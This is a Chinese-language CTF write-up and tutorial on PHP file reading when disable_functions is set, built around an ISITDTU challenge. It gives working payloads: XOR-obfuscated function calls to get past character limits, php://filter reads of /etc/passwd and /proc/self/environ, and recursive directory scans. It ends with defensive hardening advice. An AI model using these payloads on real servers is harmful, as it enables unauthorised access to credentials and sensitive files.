PHP disable_functions限制下的文件读取艺术:从ISITDTU赛题到实战思维
在CTF竞赛和真实渗透测试中,PHP的disable_functions配置常常成为红队人员的第一道障碍。当system、exec、shell_exec等常规命令执行函数被禁用时,许多攻击者会陷入困境。但真正的安全研究者知道,这不过是游戏刚刚开始。
1. disable_functions的防御哲学与绕过本质
PHP的disable_functions配置是管理员限制危险函数执行的主要手段。传统认知中,只要禁用了命令执行类函数,系统就相对安全了。但这种防御思路存在根本性缺陷——它只阻断了最明显的攻击路径,却忽视了PHP语言本身的灵活性。
关键认知转变:在disable_functions限制下,攻击目标应从"直接获取shell"转变为"信息收集与文件读取"。因为绝大多数情况下,获取配置文件、源代码或敏感数据已经足够达成渗透目标。
未被禁用的文件操作函数往往包括:
- 目录遍历:
scandir,glob,opendir/readdir - 文件读取:
file_get_contents,readfile,fopen/fread/fclose - 特殊读取:
show_source,highlight_file - 信息获取:
stat,file,realpath
这些函数组合起来,完全能够替代命令执行完成信息收集工作。例如,在ISITDTU赛题中,仅通过以下函数链就实现了完整渗透:
show_source(end(scandir('.')));2. 字符限制下的函数调用技巧
当遇到字符限制时(如ISITDTU中不超过13种不同字符),我们需要更精巧的函数调用方式。以下是几种实用技巧:
2.1 异或运算生成任意字符串
通过PHP的位运算特性,可以用少量字符生成所需函数名:
// 生成"scandir"的异或表示 $scandir = (~%8c%9c%9e%91%9b%96%8d) ^ (%ff%ff%ff%ff%ff%ff%ff);常见可用字符范围(未被过滤的):
| 字符类型 | 可用字符示例 |
|---|---|
| 大写字母 | A,B,C,H,I,J,K,L,M,N,Q,R,T,U,V,W,X,Y,Z |
| 小写字母 | a,b,c,h,i,j,k,l,m,n,q,r,t,u,v,w,x,y,z |
| 符号 | !,#,%,(,),*,+,-,/,:,;,<,=,>,?,@,,],^,},~ |
2.2 函数链的字符优化策略
当多个函数需要链式调用时,字符复用至关重要:
- 统计所有必需字符(如括号、分号等固定字符)
- 优先使用字符复用率高的函数名
- 采用三元组异或减少唯一字符使用量
优化示例:
原始表达式(16个唯一字符):
print_r(scandir('.'));优化后表达式(11个唯一字符):
((%9b%9c%9b%9b%9b%9b%9c)^(%9b%8f%9b%9c%9c%9b%8f)^(%8f%9e%96%96%8c%a0%9e)^(%ff%ff%ff%ff%ff%ff%ff))(((%9b%9b%9b%9b%9b%9b%9c)^(%9b%9b%9b%9c%a0%9b%8f)^(%8c%9c%9e%96%a0%96%9e)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));3. 无命令执行的信息收集技术
即使没有任何命令执行能力,通过纯PHP函数也能完成全面信息收集。
3.1 环境探测技术
// 获取PHP配置信息 highlight_file('php://filter/convert.base64-encode/resource=/etc/passwd'); // 读取进程环境变量 show_source('/proc/self/environ'); // 获取当前脚本路径 realpath(__FILE__);3.2 目录遍历与文件定位
多级目录遍历技术:
// 递归列出当前目录下所有文件 function scan($dir){ foreach(scandir($dir) as $f){ if($f=='.'||$f=='..') continue; $path = $dir.'/'.$f; if(is_dir($path)) scan($path); else echo $path."\n"; } } scan('.');常见flag文件搜索模式:
/flag/flag.txt/fl*/n0t_a_flAg*/readme.md
3.3 文件内容读取的多种姿势
根据不同场景选择合适的读取方式:
| 方法 | 优点 | 缺点 |
|---|---|---|
show_source | 自带HTML格式化 | 可能被禁用 |
readfile | 直接输出原始内容 | 无错误处理 |
file_get_contents | 可读入变量进一步处理 | 需要输出函数配合 |
fopen+fread | 支持大文件分块读取 | 代码稍复杂 |
SplFileObject | 面向对象接口 | 需要PHP5+ |
特殊协议读取技巧:
// 使用filter协议绕过部分限制 file_get_contents('php://filter/convert.base64-encode/resource=config.php'); // 访问标准输入 file_get_contents('php://stdin');4. 防御视角下的加固建议
从防御者角度,仅靠disable_functions远远不够。完整的PHP安全加固应包括:
多层次防御策略:
函数限制层
- 禁用所有不必要函数
- 定期审查新版本增加的敏感函数
目录限制层
- 设置严格的open_basedir
- 使用chroot jail
权限控制层
- PHP进程以低权限用户运行
- 关键文件设置正确权限
监控层
- 日志记录所有文件操作
- 监控异常文件访问模式
代码审计层
- 禁用危险特性(如assert)
- 过滤所有用户输入
特别提醒:disable_functions存在被绕过的历史案例,如通过LD_PRELOAD加载恶意so、ImageMagick漏洞等。真正的安全需要深度防御。